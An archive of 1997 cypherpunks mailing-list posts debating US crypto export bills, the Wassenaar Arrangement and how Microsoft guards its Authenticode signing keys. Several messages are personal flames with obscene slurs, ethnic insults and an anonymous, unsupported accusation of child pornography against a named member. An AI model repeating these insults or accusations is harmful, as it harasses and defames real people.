Indeed. The "Findings/Purpose" text (Section 2), includes the following:

"(16) The Federal Government has legitimate law enforcement and national
security objectives which necessitate the disclosure to the Federal
Government of general information that is neither proprietary nor
confidential by experts in information security industries, including
cryptographers, engineers, and others designated in the design and
development of information security products. *By relaxing export controls
on encryption products and programs, this Act creates an obligation on the
part of representatives of companies involved in the export of information
security products to share information about these products to designated
representatives of the Federal Government.*" (emphasis added)

and Section 5(c)(4)(A) reads:

"Exports. The publisher or manufacturer of computer software or hardware
with encryption capabilities shall disclose (for reporting purposes only)
within 30 days after export to the Secretary such information regarding a
program's or product's encryption capabilities as would be required for an
individual license to export that program or product." 

The former has no real force, as "findings" aren't enforceable, but are
intended for use by courts who are interpreting or construing a statute.
But I don't see a technical reason why the latter wouldn't be enforceable.
(Modulo the First Amendment, of course.) 

Another feature of Pro-CODE that I haven't seen discussed is that it
restricts the *private* dissemination of code - e.g., a US programmer may
make his/her code globally available (if it is "generally available, as is,
and designed for installation by the user or purchaser", section
5(c)(2)(a)(i)), but a US programmer may not (assuming the current
regulations, or similar regs, are in force) share code privately (say,
pre-release) with foreign programmers. My hunch is that the drafters didn't
intend this consequence, but I think it's a logical conclusion given that
(a) Pro-CODE doesn't define "export", (b) current regulations define
"export" as, roughly, providing software to non-US persons, and (c)
Pro-CODE only allows "generally available, as is, and designed for
installation by the user" software to be exported. So it still won't be
legal for a US person to work collaboratively with a foreigner on
development (even if the development took place in a public forum, like
sci.crypt, the intermediate drafts probably wouldn't be "designed for
installation by the user"), nor for a US person to write crypto for
internal corporate use, or to share crypto code with friends overseas
without making a public release.  


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 5 Mar 1997 04:42:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: HOT_sum
Message-ID: <1.5.4.32.19970305123540.006b2b38@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


3-03-97:

"Congress Vs. President On Encryption"

 Last week a bill was reintroduced in the Senate to ease restrictions 
 on the export of encryption technology. But the Clinton administration 
 is preparing to back new legislation proposing additional controls over 
 encryption software, according to sources familiar with the plans.
 The White House is preparing to back legislation that will deal with the
  liability issues surrounding trusted third parties. That legislation may 
 seek to  regulate the entities that will preside over digital signature and
 digital certificate authentication.

 "It's going to be a long, hot summer," Bidzos said.

----------

HOT_sum

Return blank message with this key as subject for full article.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Wed, 5 Mar 1997 07:45:29 -0800 (PST)
To: cryptography@c2.net
Subject: ECPA/1997: the other shoe?
Message-ID: <3.0.1.32.19970305075144.00727e54@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain



I've seen discussion on various lists and in the media about the reissue of
Sen. Burns' Pro-CODE bill (S. 377); I was poking around thomas.loc.gov for
information about S. 377 and ran across S. 376, introduced by Sen. Leahy,
the "Encrypted Communications Privacy Act of 1997", which implements a lot
of legislation that cypherpunks types have been speculating about for
several years now.

I couldn't find an easily-accessible version of the bill's text on thomas,
so I cobbled one together from the online version of the Congressional
Register. It's located at <http://www.io.com/~gbroiles/ecpa1997.html>. I
HTML-ized it in a hurry, so please rely on the official version when one
becomes available. 

I haven't had a chance to go over it in detail, but it purports to do these
things:

Makes the use of any cryptosystem in the US, or by US persons on foreign
soil, legal;

Prohibits the implementation of mandatory key escrow

Establishes standards and procedures under which key escrow agents may
release escrowed keys (including criminalizing wrongful release and
wrongful failure to release pursuant to court order/other authorization)

Criminalizes the willful use of encryption to obstruct justice

Confirms that it is legal to sell any cryptosystem within the US 

Sets standards for the release of keys to foreign governments

I'll post a more detailed summary later when I've had a chance to go over
the bill more carefully.
--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Wed, 5 Mar 1997 08:11:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Wassenaar Arrangement
Message-ID: <3.0.1.32.19970305081729.006eb4bc@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain



Has anyone had any luck finding the actual text of the Wassenaar
Arrangement? The Arms Control & Disarmament Agency has a summary/factsheet
available on its web site (mirrored, I believe, on JYA's web site) but I
haven't been able to find a copy of the actual text. I spoke with someone
this morning at the ACDA who said that the actual text "has not been
released by our government" and that to his knowledge it had not been
publicly released by any government. I'm faxing a FOIA request to their
legal folks this morning (talked to someone in their general counsel's
office who said he wasn't sure if it was available via FOIA or not) but I
suspect I won't get it.

Has anyone actually seen the text of the thing? 

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 5 Mar 1997 08:28:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Having the smarts to retire early
In-Reply-To: <v03007802af428d263c48@[207.167.93.63]>
Message-ID: <c5J43D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Timothy C. May" <tcmay@got.net> writes:

> I never reply to these 'bot-generated things, but this one really does
> crack me up:
> 
> At 9:48 PM +0100 3/4/97, Anonymous wrote:
> >Timothy C[retin] May is another loser who pays for got.net
> >because he lacks the mental capacity to gain net access as
> >a perk of either employment or academic achievment.
> >
> >          ,,,
> >         ($ $)
> >     -ooO-(_)-Ooo- Timothy C[retin] May
> 
> 
> An alternate interpretation: that I had the smarts to make enough money to
> retire at age 34 for the rest of my life. Being that I'm now into my 11th
> year of said retirement, I'd say paying $20 a month to got.net for
> unlimited usage is a lot better deal than either "employment" or "academic"
> subsidy. I'd even pay $100 a month, if that was my only choice, to ensure
> freedom from the constraints and disclaimers forced upon corporate and even
> academic users.
> 
> Oh, and my first "academic" Net connection, modulo the Net not being very
> advanced or usable in those days, was in 1973.
> 
> --Tim May

I feel sorry for Tim May.  He's so bored, he reads 'bot fodder.
I suppose he studies the bounce messages from mailer deamons too.

WARNING: COCKSUCKER JOHN GILMORE IS FORBIDDEN TO REDISTRIBUTE MY E-MAIL FROM
ANY MAILING LIST ON HIS TOAD.COM COMPUTER.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Bob Atkinson (Exchange)" <bobatk@EXCHANGE.MICROSOFT.com>
Date: Wed, 5 Mar 1997 09:36:26 -0800 (PST)
To: "'gbroiles-nospam@netbox.com
Subject: RE: Microsoft Authenticode key security
Message-ID: <7D9A01DBBFD5CF11AD0F0000F8411F8A42697E@ROADKILL>
MIME-Version: 1.0
Content-Type: text/plain


Actually, and sort of to the point, no, the keys never actually ever the
BBN box, except as part of a backup procedure in which they are
extracted in a doubly-encrypted form for which for security reasons you
need the manufacturer's help in restoring.

To this day, no human or computer other than the box itself knows the
key.

	Bob

> -----Original Message-----
> From:	Toto [SMTP:toto@sk.sympatico.ca]
> Sent:	Wednesday, March 05, 1997 9:18 AM
> To:	gbroiles-nospam@netbox.com
> Cc:	cypherpunks@toad.com; Bob Atkinson (Exchange)
> Subject:	Re: Microsoft Authenticode key security
> 
> Greg Broiles wrote:
> > >From: "Bob Atkinson (Exchange)" <bobatk@EXCHANGE.MICROSOFT.com>
> > >Subject: Comments and corrections regarding Authenticode
> > >
> > >For those curious: at the present time, the private keys with which
> > >Microsoft signs code that it publishes are managed inside BBN
> SafeKeyper
> > >boxes housed in a guarded steel and concrete bunker. Even were a
> SafeKeyper
> > >to somehow be physically stolen, these cool little boxes have
> several
> > >elaborate internal defenses designed to have the box destroy itself
> rather
> > >than compromise its keys.
> 
>   Bob fails to mention, however, that, as a backup system, the keys
> are 
> also written on pieces of masking tape attached to the underside of
> his keyboard.
> -- 
> Toto
> http://bureau42.base.org/public/xenix/xenbody.html




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Wed, 5 Mar 1997 09:49:15 -0800 (PST)
To: iverson@usa.net
Subject: Re: Master of disinformation
In-Reply-To: <3.0.16.19970305100108.41b716f6@pop.netaddress.com>
Message-ID: <199703051747.JAA00256@netcom18.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Casey Iverson <iverson@usa.net> writes:

 > The rather large mass of Russian dung a.k.a. Dr.Dimitri
 > Vulis KOTM wrote

 >> John Gilmore lied.

 > Consider the irony of the Russian slime ball master of
 > disinformation (probably trained by the KGB), calling
 > someone *else* a liar.

Even a liar has to tell the truth sometimes, else he would not
be a very successful liar.  I'd trust our KOTM anyday over the
traitorous ex-cypherpunk and world-famous cocksucker John
"Hooverlips" Gilmore.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Casey Iverson <iverson@usa.net>
Date: Wed, 5 Mar 1997 07:10:18 -0800 (PST)
To: cypherpunks@algabra.com
Subject: Master of disinformation
Message-ID: <3.0.16.19970305100108.41b716f6@pop.netaddress.com>
MIME-Version: 1.0
Content-Type: text/plain


The rather large mass of Russian dung  a.k.a. Dr.Dimitri Vulis KOTM wrote

>> John Gilmore lied.

Consider the irony of the Russian slime ball master of disinformation
(probably trained by the KGB),
calling someone *else* a liar.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 5 Mar 1997 09:32:14 -0800 (PST)
To: gbroiles-nospam@netbox.com
Subject: Re: Microsoft Authenticode key security
In-Reply-To: <331e62b2.3884779@library.airnews.net>
Message-ID: <331DAAC8.D2E@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles wrote:
> >From: "Bob Atkinson (Exchange)" <bobatk@EXCHANGE.MICROSOFT.com>
> >Subject: Comments and corrections regarding Authenticode
> >
> >For those curious: at the present time, the private keys with which
> >Microsoft signs code that it publishes are managed inside BBN SafeKeyper
> >boxes housed in a guarded steel and concrete bunker. Even were a SafeKeyper
> >to somehow be physically stolen, these cool little boxes have several
> >elaborate internal defenses designed to have the box destroy itself rather
> >than compromise its keys.

  Bob fails to mention, however, that, as a backup system, the keys are 
also written on pieces of masking tape attached to the underside of
his keyboard.
-- 
Toto
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Wed, 5 Mar 1997 10:49:52 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Having the smarts to retire early
In-Reply-To: <c5J43D1w165w@bwalk.dm.com>
Message-ID: <Pine.A41.3.95.970305114532.55450B-100000@freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


                                          : ab756@freenet.toronto.on.ca


On Wed, 5 Mar 1997, Dr.Dimitri Vulis KOTM wrote:

> "Timothy C. May" <tcmay@got.net> writes:
> 
> > I never reply to these 'bot-generated things, but this one really does
> > crack me up:
> > 
> > At 9:48 PM +0100 3/4/97, Anonymous wrote:
> > >Timothy C[retin] May is another loser who pays for got.net
> > >because he lacks the mental capacity to gain net access as
> > >a perk of either employment or academic achievment.
> > >
> > >          ,,,
> > >         ($ $)
> > >     -ooO-(_)-Ooo- Timothy C[retin] May
> > 
> > 
> > An alternate interpretation: that I had the smarts to make enough money to
> > retire at age 34 for the rest of my life. Being that I'm now into my 11th
> > year of said retirement, I'd say paying $20 a month to got.net for
> > unlimited usage is a lot better deal than either "employment" or "academic"
> > subsidy. I'd even pay $100 a month, if that was my only choice, to ensure
> > freedom from the constraints and disclaimers forced upon corporate and even
> > academic users.
> > 
> > Oh, and my first "academic" Net connection, modulo the Net not being very
> > advanced or usable in those days, was in 1973.
> > 
> > --Tim May
> 
> I feel sorry for Tim May.  He's so bored, he reads 'bot fodder.
> I suppose he studies the bounce messages from mailer deamons too.
> 
> WARNING: COCKSUCKER JOHN GILMORE IS FORBIDDEN TO REDISTRIBUTE MY E-MAIL FROM
> ANY MAILING LIST ON HIS TOAD.COM COMPUTER.

Vulis keep your pervert voice off the list.
> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 5 Mar 1997 09:11:50 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: ECPA/1997: the other shoe?
Message-ID: <1.5.4.32.19970305170449.00731050@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Thanks for pointing this. We got a TXT version from GPO Access
and put it at:

   http://jya.com/s376.txt

With a link to your HTML.

On Waasenaar, we've written a few folks about finding a full copy, but
so far the word is the same as State's: none has been publically released.
Hope you get it.

When the pact was first discussed at State a recorder transcribed 
"Vasinor (phonetic)," so that term might turn up in searches.

As you noted, for those interested, we've put a few Waasenaar docs at:

   http://jya.com/acda.htm

Back to your FOIA to CIA, and the Agency's referral to FCC: I wonder if 
there might not be something to that lead. As you must know, the legislation 
covering national telecommunications security puts the FCC in the center 
of infowehr C4I. Excuse this cite to a pro citer, the NatSec Telecomm 
leg is at:

  http://jya.com/47cfr2.htm

This might support the CIA's intel that FCC is the chokepoint for CPI for
the IC.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: gbroiles-nospam@netbox.com (Greg Broiles)
Date: Wed, 5 Mar 1997 05:51:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: Microsoft Authenticode key security
Message-ID: <331e62b2.3884779@library.airnews.net>
MIME-Version: 1.0
Content-Type: text/plain



Recent discussion on the cypherpunks list(s) talked about the
feasibility of subverting Microsoft's security model by stealing their
private key(s). The following snippet (originally sent to RISKS
digest) might be of interest:

>Date: Mon, 3 Mar 1997 19:23:15 -0800
>From: "Bob Atkinson (Exchange)" <bobatk@EXCHANGE.MICROSOFT.com>
>Subject: Comments and corrections regarding Authenticode
>
>As the architect and primary implementor of the Authenticode code-signing
>technology (boy, that'll get me mail :-) found in Internet Explorer 3 and in
>Windows NT 4, I think my perhaps somewhat lengthy and clearly very biased
>perspective on some recent articles might be of interest to others.
>Bob Atkinson
>[...]
>For those curious: at the present time, the private keys with which
>Microsoft signs code that it publishes are managed inside BBN SafeKeyper
>boxes housed in a guarded steel and concrete bunker. Even were a SafeKeyper
>to somehow be physically stolen, these cool little boxes have several
>elaborate internal defenses designed to have the box destroy itself rather
>than compromise its keys. As I understand things, a military variation on
>the SafeKeyper technology is used as an integral part of launch control of
>nuclear missiles on submarines in the US Navy.


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 5 Mar 1997 18:30:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Master of fellatio
In-Reply-To: <3.0.16.19970305100108.41b716f6@pop.netaddress.com>
Message-ID: <L1343D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Casey Iverson <iverson@usa.net> writes:

> The rather large mass of Russian dung  a.k.a. Dr.Dimitri Vulis KOTM wrote
> 
> >> John Gilmore lied.
> 
> Consider the irony of the Russian slime ball master of disinformation
> (probably trained by the KGB),
> calling someone *else* a liar.
> 

There were plenty of good cryptographers working for the KGB.
I had the pleasure of meeting a few in persons and communicating
with many others.
Filthy lying cocksucker John Gilmore is not worthy to suck their dicks.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Wed, 5 Mar 1997 14:50:12 -0800 (PST)
To: gbroiles@netbox.com
Subject: Re: The Pro-CODE Bill could make things worse!
Message-ID: <01IG5GWYDFLG8Y5EZW@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"gbroiles@netbox.com"  "Greg Broiles"  5-MAR-1997 10:04:19.81

>I don't think that Pro-CODE can be used to control the dissemination of
>remailers. The bit of Pro-CODE at issue here (section 5(c)(3)(B) "The
>Secretary shall prohibit the export or reexport of particular computer
>software and hardware *described in this subsection* to an identified
>individual or organization . . if the Secretary determines that there is
>substantial evidence that such software and computer hardware will be . .
>(iv) intentionally used to evade enforcement of US law or taxation by the
>US or by any State or local government." (emphasis added)

>I read "described in this subsection" to refer to Section 5(c), and the
>best description I can find in 5(c) of computer hardware and software is
>"computer hardware, computer software, and technology with encryption
>capabilities, except computer hardware, computer software, and technology
>that is specifically designed or modified for military use, including
>command, control, and intelligence applications", in section 5(c)(1).

>So I don't think that this creates a new ability to control the
>dissemination of non-crypto hardware or software. (The Mixmaster remailer
>software, which does include crypto, would still be controlled.) 

Umm... non-encrypting remailers aren't much use. While something could
be worked out (as for most current Type 1 remailers) allowing hooking in
PGP or whatever, I would wonder whether that would make the remailer
program itself have "encryption capabilities" - a la the "crypto hooks"
restrictions in current export regulations. This would be even more of
a problem for remailers using socket links and DH superencryption to
prevent remailer operators from being pressured to decrypt intercepted
messages.

These prohibitions would also prohibit or at least restrict export of
technologies such as decense and the anonymizer in versions (as is
preferable) using encryption, except _possibly_ (see above) those
hooking in encryption from outside. Circumstances in which such
could be used to defeat US laws include a decense server being used to
prevent the tracing of an in-US pornographic site, if (heaven forbid)
the CDA (or a lesser version, such as one requiring labeling or going
by a "harmful to minors" standard) is found constitutional.

>The prohibitions on export to named individuals and organizations will be
>effectively useless with respect to those parties getting strong crypto -
>the only utility I can see in such a clause is to be used as a club against
>domestic sympathizers/allies of unpopular groups/people abroad. It also
>seems likely to lead to yet another round of worrying about whether the
>format of a particular distribution site on the Internet is sufficiently
>configured - if ProCODE passes, instead of asking "Are you a US citizen?",
>distribution sites will ask "Are you on the list of forbidden people?" Same
>difference. 

It is rather reminiscent, yes. If, for instance, all it requires is a check
on whether the domain name indicates the _certainty_ of being from such a
country, then it won't be extremely onerous... but I'm certain that the
government will try to interpret it in the most restrictive way possible.
	-Allen




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Wed, 5 Mar 1997 17:45:32 -0800 (PST)
To: Greg Broiles <cryptography@c2.net
Subject: Re: ECPA/1997: the other shoe?
Message-ID: <199703060144.RAA08671@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:51 AM 3/5/97 -0800, Greg Broiles wrote:
>I've seen discussion on various lists and in the media about the reissue of
>Sen. Burns' Pro-CODE bill (S. 377); I was poking around thomas.loc.gov for
>information about S. 377 and ran across S. 376, introduced by Sen. Leahy,
>the "Encrypted Communications Privacy Act of 1997", which implements a lot
>of legislation that cypherpunks types have been speculating about for
>several years now.
[snip]
>I haven't had a chance to go over it in detail, but it purports to do these
>things:
>Makes the use of any cryptosystem in the US, or by US persons on foreign
>soil, legal;

Which is somewhat illogical, because if we assume that things are legal 
until made illegal, and there is no illegal cryptosystem, that means that no 
bill can "make the use of any cryptosystem legal."

(I understand, of course, that you may simply be saying that the bill 
pretends to do it...)


>Prohibits the implementation of mandatory key escrow

Again, somewhat of a non-issue, wouldn't you say?  What with the 1st 
amendment, the government would have an enormous uphill battle to make key 
escrow mandatory anyway.


>Establishes standards and procedures under which key escrow agents may
>release escrowed keys (including criminalizing wrongful release and
>wrongful failure to release pursuant to court order/other authorization)

Key escrow agents (to the extent they currently exist and will exist in the 
future) are presumably entitled to contract with their customers whatever 
conditions and terms their customers desire.  If that DOESN'T include 
sharing the key with the government, as far as I know that's entirely 
legitimate.  ("impairment of contracts.") Also, I see no reason to believe 
that those agents will necessarily have copies of the keys in unencrypted 
form, useable by the government.  


>Criminalizes the willful use of encryption to obstruct justice

Which, as Tim May points out, could imply practically any useage of crypto 
with the "appropriate" misinterpretation on the part of government, 
particularly encrypted remailers.  Just what the Leahy bill last year 
appeared to be intended to do.


>Confirms that it is legal to sell any cryptosystem within the US 

Again, that's unnecessary and redundant.

>Sets standards for the release of keys to foreign governments


>
>I'll post a more detailed summary later when I've had a chance to go over
>the bill more carefully.

What we should be particularly suspicious of is any differnces between last 
year's bill and this year's.  Somehow I doubt we'll see any desireable 
change; all the changes will be bad.


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 5 Mar 1997 19:18:20 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: The Pro-CODE Bill could make things worse!
In-Reply-To: <199703030817.AAA24224@you.got.net>
Message-ID: <3.0.1.32.19970305181923.0062b098@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 06:44 AM 3/5/97 -0800, Greg Broiles wrote:
>"Exports. The publisher or manufacturer of computer software or 
>hardware with encryption capabilities shall disclose (for reporting 
>purposes only) within 30 days after export to the Secretary such 
>information regarding a program's or product's encryption capabilities 
>as would be required for an individual license to export that program 
>or product." 
>
>The former has no real force, as "findings" aren't enforceable, but are
>intended for use by courts who are interpreting or construing a statute.
>But I don't see a technical reason why the latter wouldn't be enforceable.
>(Modulo the First Amendment, of course.) 

Can it be construed as a "taking"?  (Or was that just an "excise tax",
payable in intellectual property rather than in money?)
Unless the information required for an individual license is 
substantially less under the New Regime than under the Ancien' Regime,
they're asking for a lot of information - in the past, it's included
source code, documentation, etc., as well as customer data.
What restrictions are there on government use of this information apply?
State governments, e.g. California, have a history of ripping off
copyright and refusing to accept lawsuits against themselves -
can the Feds do the same?  Maybe they can't refuse to let you export
any more, but can they threaten to publish your source code on
http://www.dockmaster.mil/warez/ if you don't do what they want?....




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Wed, 5 Mar 1997 21:30:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199703060336.TAA13790@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


Embedded in Tim C. Maypole's babblings are 
preposterous lies, wild distortions, child 
pornography (both as graphic descriptions 
and in JPEG format), ethnic slurs, and 
racial epithets.

      o      o o o   o
     /~>    <><><>   <> Tim C. Maypole
  o...(\    ||||||   ||





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 5 Mar 1997 18:30:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: Microsoft Authenticode key security
In-Reply-To: <7D9A01DBBFD5CF11AD0F0000F8411F8A42697E@ROADKILL>
Message-ID: <L0c53D131w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Bob Atkinson (Exchange)" <bobatk@EXCHANGE.MICROSOFT.com> writes:

> Actually, and sort of to the point, no, the keys never actually ever the
> BBN box, except as part of a backup procedure in which they are
> extracted in a doubly-encrypted form for which for security reasons you
> need the manufacturer's help in restoring.
>
> To this day, no human or computer other than the box itself knows the

But do we necessarily believe what Microsoft people say?

Dimitri "bought OS/2 1.0 from Microsoft" Vulis

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 5 Mar 1997 18:33:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Having the smarts to retire early
In-Reply-To: <Pine.A41.3.95.970305114532.55450B-100000@freenet.edmonton.ab.ca>
Message-ID: <ukF53D134w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Graham-John Bullers <real@freenet.edmonton.ab.ca> writes:

>                                           : ab756@freenet.toronto.on.ca
>
>
> On Wed, 5 Mar 1997, Dr.Dimitri Vulis KOTM wrote:
>
> > "Timothy C. May" <tcmay@got.net> writes:
> >
> > > I never reply to these 'bot-generated things, but this one really does
> > > crack me up:
> > >
> > > At 9:48 PM +0100 3/4/97, Anonymous wrote:
> > > >Timothy C[retin] May is another loser who pays for got.net
> > > >because he lacks the mental capacity to gain net access as
> > > >a perk of either employment or academic achievment.
> > > >
> > > >          ,,,
> > > >         ($ $)
> > > >     -ooO-(_)-Ooo- Timothy C[retin] May
> > >
> > >
> > > An alternate interpretation: that I had the smarts to make enough money t
> > > retire at age 34 for the rest of my life. Being that I'm now into my 11th
> > > year of said retirement, I'd say paying $20 a month to got.net for
> > > unlimited usage is a lot better deal than either "employment" or "academi
> > > subsidy. I'd even pay $100 a month, if that was my only choice, to ensure
> > > freedom from the constraints and disclaimers forced upon corporate and ev
> > > academic users.
> > >
> > > Oh, and my first "academic" Net connection, modulo the Net not being very
> > > advanced or usable in those days, was in 1973.
> > >
> > > --Tim May
> >
> > I feel sorry for Tim May.  He's so bored, he reads 'bot fodder.
> > I suppose he studies the bounce messages from mailer deamons too.
> >
> > WARNING: COCKSUCKER JOHN GILMORE IS FORBIDDEN TO REDISTRIBUTE MY E-MAIL FRO
> > ANY MAILING LIST ON HIS TOAD.COM COMPUTER.
>
> Vulis keep your pervert voice off the list.

I'm not sending anything to cypherpunks@toad.com and in fact I don't
want the lying, thieving cocksucker John Gilmore to redistribute any
of my writings via any mailing list at toad.com.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 5 Mar 1997 13:20:51 -0800 (PST)
To: bobatk@exchange.microsoft.com
Subject: Re: Microsoft Authenticode key security
In-Reply-To: <7D9A01DBBFD5CF11AD0F0000F8411F8A42697E@ROADKILL>
Message-ID: <199703052110.VAA00412@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Bob Atkinson <bobatk@microsoft.com> writes:
> Actually, and sort of to the point, no, the keys never actually ever the
> BBN box, except as part of a backup procedure in which they are
> extracted in a doubly-encrypted form for which for security reasons you
> need the manufacturer's help in restoring.
> 
> To this day, no human or computer other than the box itself knows the
> key.

Yeah, but we can always just release a patch for windows which makes
it check signatures made by "cypherpunks certification services". 

As has been noted in previous discussions of CAPI (on this list),
there is room for different competing patched key signature services:
sign anything, sign only CAPI modules which don't involve GAK (key
escrow), sign modules for which source code has been examined and
provide a degree of assurance that the module is secure.  Charges
could be made for the CAPI rating, to the module provider, and to the
users of the rating service even (with non-transferable signatures).

Also, the BBN box might be overkill considering ActiveX -- the key
could probably be patched delivered maliciously by the unsuspecting
windows user accessing a web page.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Wed, 5 Mar 1997 21:32:37 -0800 (PST)
To: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Subject: Re: Having the smarts to retire early
Message-ID: <199703060530.VAA00700@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:47 AM 3/5/97 -0700, Graham-John Bullers wrote:
>
>On Wed, 5 Mar 1997, Dr.Dimitri Vulis KOTM wrote:
...
>> I feel sorry for Tim May.  He's so bored, he reads 'bot fodder.
>> I suppose he studies the bounce messages from mailer deamons too.
>> 
>> WARNING: COCKSUCKER JOHN GILMORE IS FORBIDDEN TO REDISTRIBUTE MY E-MAIL FROM
>> ANY MAILING LIST ON HIS TOAD.COM COMPUTER.
>
>Vulis keep your pervert voice off the list.

I don't know which person I dispise more.  The person unjustly slandering
another for any reason.  Or the person telling him that he has no right to
an open forum.  No, I take that back.  I'd rather have ten foulmouthed text
wizards dragging my name through the mud, with my self to defend my name as
opposed to even one person declaring that they leave "for the public good".
As for argument, I have no problem with arguing, so long as neither tells
the other to "get lost" so everyone else can have some peace and quiet.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 5 Mar 1997 18:42:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: Secrecy Report
Message-ID: <1.5.4.32.19970306023549.0074e394@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


The "Report of the Commission on Protecting and Reducing
Government Secrecy," boosted in the NY Times today is 
available in PDF format at:

   http://www.access.gpo.gov/congress/commissions/secrecy/index.html

